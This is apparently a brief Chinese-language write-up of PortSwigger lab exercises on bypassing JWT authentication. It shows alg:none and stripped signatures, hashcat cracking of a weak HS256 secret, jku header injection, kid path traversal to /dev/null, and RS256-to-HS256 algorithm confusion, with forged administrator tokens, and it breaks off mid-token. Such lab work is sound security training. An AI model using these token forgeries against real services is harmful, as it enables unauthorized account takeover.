通过未验证签名绕过 JWT 身份验证
先下个扩展
{ "iss": "portswigger", "sub": "administrator", "exp": 1672383570 }
|
通过有缺陷的签名验证绕过 JWT 身份验证
{ "kid": "90578e0c-84e4-45d9-a72b-c9fea23be6cf", "alg": "none" }
|
{ "iss": "portswigger", "sub": "administrator", "exp": 1672383902 }
|
尝试删去签名
eyJraWQiOiI5MDU3OGUwYy04NGU0LTQ1ZDktYTcyYi1jOWZlYTIzYmU2Y2YiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzIzODM5MDJ9.
|
通过弱签名密钥绕过 JWT 身份验证
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
字典
eyJraWQiOiIzZDFlOWZkMy01YjJlLTQzZWYtODBhZi1lYTg1YzM0NDMyNWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MjM4NDQ1NH0.lVsqGOf1XriJF81EAWHodRgu_weO1qcuSxOiEhqEDUE
|
hashcat -a 0 -m 16500 eyJraWQiOiIzZDFlOWZkMy01YjJlLTQzZWYtODBhZi1lYTg1YzM0NDMyNWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MjM4NDQ1NH0.lVsqGOf1XriJF81EAWHodRgu_weO1qcuSxOiEhqEDUE /root/jwt.txt
|
拿到密钥 secret1
{ "iss": "portswigger", "sub": "administrator", "exp": 1672384454 }
|
这里不知道为什么 高版本的burp 签不上 只能换低版本的了
https://jwt.io/
还是用网站吧
eyJraWQiOiIzZDFlOWZkMy01YjJlLTQzZWYtODBhZi1lYTg1YzM0NDMyNWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzIzODc4NjN9.ylBMu5MkX4X2afEcxlZ7xmWCoRwMOFCpMj1VYdIG0j0
|
通过 jku 标头注入绕过 JWT 身份验证
{ "kty": "RSA", "e": "AQAB", "kid": "2c7029f0-7436-491d-8bee-4ce60fd433c3", "n": "9pyiDwt6J20NA1O7IzPtd99uDscrTK71sDFBl7x1ZyNhRqHCA544rWwsyeyd0v-Ai8aAnpoNNgB8aJ8pwEpuDzENE32IGV2Bpf4fJ7jCCV2AoadB64-9wWn5RwTPiZaYp1tyhRPdGMNc1aYFbU7xvvnSxPAyN_ruiRd5rwBfLkehuf1N2uFpmjFEJ75OubcMSh5713W5bR-bddLrRovHgJ424hz5G6nNTW5zNwYxQ34k60BNqcsTCxrr_J0JQgSXR3ThHR_WRKSnFrOpwhiiBE8tWUd3OZpyxVoPnJHLfmQzo0RAjHodzV17ZxdYN3cwbEWFqcfZH58pdOH2njZdVQ" }
|
构造成下面这样
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "2c7029f0-7436-491d-8bee-4ce60fd433c3", "n": "9pyiDwt6J20NA1O7IzPtd99uDscrTK71sDFBl7x1ZyNhRqHCA544rWwsyeyd0v-Ai8aAnpoNNgB8aJ8pwEpuDzENE32IGV2Bpf4fJ7jCCV2AoadB64-9wWn5RwTPiZaYp1tyhRPdGMNc1aYFbU7xvvnSxPAyN_ruiRd5rwBfLkehuf1N2uFpmjFEJ75OubcMSh5713W5bR-bddLrRovHgJ424hz5G6nNTW5zNwYxQ34k60BNqcsTCxrr_J0JQgSXR3ThHR_WRKSnFrOpwhiiBE8tWUd3OZpyxVoPnJHLfmQzo0RAjHodzV17ZxdYN3cwbEWFqcfZH58pdOH2njZdVQ" } ] }
|
{ "kid": "2c7029f0-7436-491d-8bee-4ce60fd433c3", "alg": "RS256", "jku": "https://exploit-0a35003d043fdfcfc040621901c20068.exploit-server.net/exploit" }
|
这里需要添加 jku 请求头 指向我们构造的 public key 地址
{ "iss": "portswigger", "sub": "administrator", "exp": 1672389252 }
|
通过 kid 标头路径遍历绕过 JWT 身份验证
生成对称密钥 并将 k 赋值成 AA== 空字节
{ "kid": "../../../../../dev/null", "alg": "HS256" }
|
这里的kid是去寻找对称密钥 这里利用了目录遍历 获取空字节
{ "iss": "portswigger", "sub": "administrator", "exp": 1672390477 }
|
通过算法混淆绕过 JWT 身份验证
这里看到已经公开的公钥 取出其中的jwk
{"kty":"RSA","e":"AQAB","use":"sig","kid":"1dbf6f61-5bce-4538-8749-aadaec1c774b","alg":"RS256","n":"yti-mwsBnpE2KuAP60DUcHFOhytHkg0H9OC6S1HX9IPty8Nghuqn9MYuCETeATq2bz5NfBT45kYTjq7X1BvQUxP22sLuh1j4rm20Gj1x8ABTMqugUwmLmjHBKsLZ3b7lirFKw-xLyPratRIbDKYSVrQ1jZarZ-SkSNRpQrxKc59eqwBW0v0tGrxYKC6FTsTTGuTQjNnM8j9SsYj0GrpT1dX3UsH4Dyto-vyq2sX8D_SZzdb45lb_gJHGpkYGL0Vus0t7zel3_HqWmJx8SXJ9RzTZPu78NZ1BjTOK2xLE64ib0REUzQuaNo0QYo_Vx6LQb6dCBfcOY5RP6gG9H2zsSw"}
|
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyti+mwsBnpE2KuAP60DU cHFOhytHkg0H9OC6S1HX9IPty8Nghuqn9MYuCETeATq2bz5NfBT45kYTjq7X1BvQ UxP22sLuh1j4rm20Gj1x8ABTMqugUwmLmjHBKsLZ3b7lirFKw+xLyPratRIbDKYS VrQ1jZarZ+SkSNRpQrxKc59eqwBW0v0tGrxYKC6FTsTTGuTQjNnM8j9SsYj0GrpT 1dX3UsH4Dyto+vyq2sX8D/SZzdb45lb/gJHGpkYGL0Vus0t7zel3/HqWmJx8SXJ9 RzTZPu78NZ1BjTOK2xLE64ib0REUzQuaNo0QYo/Vx6LQb6dCBfcOY5RP6gG9H2zs SwIDAQAB -----END PUBLIC KEY-----
|
进行base64编码
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5dGkrbXdzQm5wRTJLdUFQNjBEVQpjSEZPaHl0SGtnMEg5T0M2UzFIWDlJUHR5OE5naHVxbjlNWXVDRVRlQVRxMmJ6NU5mQlQ0NWtZVGpxN1gxQnZRClV4UDIyc0x1aDFqNHJtMjBHajF4OEFCVE1xdWdVd21MbWpIQktzTFozYjdsaXJGS3creEx5UHJhdFJJYkRLWVMKVnJRMWpaYXJaK1NrU05ScFFyeEtjNTllcXdCVzB2MHRHcnhZS0M2RlRzVFRHdVRRak5uTThqOVNzWWowR3JwVAoxZFgzVXNINER5dG8rdnlxMnNYOEQvU1p6ZGI0NWxiL2dKSEdwa1lHTDBWdXMwdDd6ZWwzL0hxV21KeDhTWEo5ClJ6VFpQdTc4TloxQmpUT0syeExFNjRpYjBSRVV6UXVhTm8wUVlvL1Z4NkxRYjZkQ0JmY09ZNVJQNmdHOUgyenMKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
|
{ "kid": "1dbf6f61-5bce-4538-8749-aadaec1c774b", "alg": "HS256" }
|
{ "iss": "portswigger", "sub": "administrator", "exp": 1672391265 }
|
通过算法混淆绕过 JWT 身份验证,不暴露密钥
我们需要登录两次 以获取两个jwt token
eyJraWQiOiI1N2I0MDVlNi0yMTA2LTRkZjEtYTA0Yy01YmM2MjIzMDIwY2UiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MjM5MjAwMn0.SNCGadLgcp6OrO_tM7myUYSrgR_EtpPlQeA8p2JeJpxH8dyVQzk9olLb39GOImFiaYaQjMzH1ybWVcqGIWTrN2LvrWixnhZof86Frwq5sY0-gB-pukU3lQXeRKD8kR2JqZN5iFyaNuw60jUH30vc_8-ZCCyulcSjS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